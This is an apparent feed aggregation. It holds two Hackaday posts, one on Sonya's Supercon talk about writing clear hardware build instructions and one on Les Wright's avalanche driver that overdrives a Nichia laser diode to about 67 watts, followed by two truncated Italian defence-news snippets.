Sonya’s next big project was The Tentacle, which you might remember from her articles published here back in 2016! The animatronic appendage was designed in CAD, relying on a combination of off-the-shelf and laser-cut parts. Again, once the design was complete, she had to contemplate how to share this design with others. Once again, she didn’t just supply the design files themselves, but the build instructions too! Since it was all designed in CAD, she was able to reuse these models to create diagrams and animated GIFs for visual aids. This was, in many ways, easier than just relying on photographs alone. She later refined her instructions for a workshop at the Hackaday Supercon, teaching many people how to bring their own creepy tentacles to life.
20853786Breaking up instructions can make things much clearer, particularly when it comes to order of assembly.
The skills learned on these projects have served Sonya well in her later career. She next walks us through the Jubilee multi-capable CNC platform, which she developed at grad school. Along the way, we learn more great techniques for creating clear instructions, such as that color is always helpful, and that community feedback is very valuable. In fact, the size of the community for any given project is generally larger the better the instructions are. The less guesses and leaps of logic required by the end user, the broader your user base can be.
20853790One can draw some similarities between Sonya’s instructional diagrams and those used by Lego. They show the progression of installation clearly with easily-read graphical representations.
Ultimately, we’re taught that good instructions are about removing the need for thinking on the builder’s part. The person crafting proper instructions decides what the builder does and the order they should do it in. Good instructions are about allowing someone to reliably replicate a project. It’s also worth noting that build instructions don’t need to teach the builder about the design of the project—they should focus on its assembly.

On the practical side, Sonya notes that using your CAD software to manage your parts lists and BOM can be a big time saver—allowing for automatic updates of your instructions as your design changes. There’s also great value in creating 1:1-sized reference sheets that allow your builders to quickly identify parts unambiguously. Using subassemblies to break things down into more manageable chunks can also ease the burden on the builder.
20853792These wiring diagrams aren’t just beautiful, they’re unambiguous and super useful, too.
Meanwhile, color diagrams can be a big boon, too—and Sonya explains the value of using real colors or false colors in different contexts where necessary. You might also want to explore using safe and inclusive color palettes that minimize issues for those with varying types of color-blindness using tools like Viz-Palette. Sonya also shares valuable insights into making wiring diagrams that are accurate and easy to read.

If you’ve ever worked on a project that you want other people to build, you could certainly learn a trick or two from this talk. Being able to craft quality instructions is a boon to your own work, and a blessing for anyone that tries to replicate it. Better documentation helps everyone, after all, and this talk is a great resource for anyone trying do produce just that.


hackaday.com/2024/09/24/superc…



Most Powerful Laser Diodes, Now More Powerful


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Many hobbies seem to have a subset of participants who just can’t leave well enough alone. Think about hot rodders, who squeeze every bit of power out of engines they can, or PC overclockers, who often go to ridiculous ends to milk the maximum performance from a CPU. And so it goes in the world of lasers, where this avalanche driver module turns Nichia laser diodes into fire-breathing beasts.

OK, that last bit might be a little overstated, but there’s no denying the coolness of what laser jock [Les Wright] has accomplished here. In his endless quest for more optical power, [Les] happened upon a paper describing a simple driver circuit that can dump massive amounts of current into a laser diode to produce far more optical power than they’re designed for. [Les] ran with what few details the paper had and came up with a modified avalanche driver circuit, with a few niceties for easier testing, like accommodation for different avalanche transistors and a way to test laser diodes in addition to the Nichia. He also included an onboard current sensing network, making it easy to hook up a high-speed oscilloscope to monitor the performance of the driver.

For testing, [Les] used a high-voltage supply homebrewed from a Nixie inverter module along with a function generator to provide the pulses. The driver was able to push 80 amps into a Nichia NUBM47 diode for just a few nanoseconds, and when all the numbers were plugged in, the setup produced about 67 watts of optical power. Not one to let such power go to waste, [Les] followed up with some cool experiments in laser range finding and dye laser pumping, which you can check out in the video below. And check out our back catalog of [Les]’ many laser projects, from a sketchy tattoo-removal laser teardown to his acousto-optical filter experiments.

youtube.com/embed/3-htF8Jrixo?…


hackaday.com/2024/09/24/most-p…



Fincantieri e Leonardo insieme per costruire i nuovi pattugliatori offshore della Marina

@Notizie dall'Italia e dal mondo

[quote]Quando si pensa al dominio marittimo e alla dimensione navale, le prime immagini che vengono in mente sono grandi vascelli di superficie, ieri le corazzate, oggi le portaerei e le fregate. Tuttavia, anche le imbarcazioni di tonnellaggio



Corsa alla quinta generazione, gli F-35 della Grecia passano da Cameri

@Notizie dall'Italia e dal mondo

[quote]Più potere aereo, possibilmente il migliore disponibile sul mercato. Questo è il pensiero delle Forze armate greche, che puntano ad acquisire il caccia F-35 per la loro componente aerea. Lo scorso luglio, il governo di Atene ha firmato una lettera di accettazione (Loa) con